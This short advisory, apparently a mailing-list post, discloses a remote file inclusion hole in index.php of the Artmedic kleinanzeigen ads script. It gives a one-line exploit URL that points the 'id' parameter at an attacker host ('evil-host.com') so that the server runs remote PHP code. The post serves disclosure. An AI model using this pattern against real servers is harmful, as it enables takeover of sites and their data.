Artmedic kleinanzeigen include vulnerability

[Francisco Alisson <dominusvis () click21 com br>]

Artmedic kleinanzeigen allow code inclusion in index.php. 
 
Exploit: 
www.host.com/artmedic-kleinanzeigen-path/index.php?id=http://evil-host.com 
 
An evil attacker could be use this vulnerability to execute 
php code with the same user id of the running server. 
 
Thanks and sorry for the bad english 
Dominus_Vis from Infektion Group :> 
irc.phey.net -j #infektion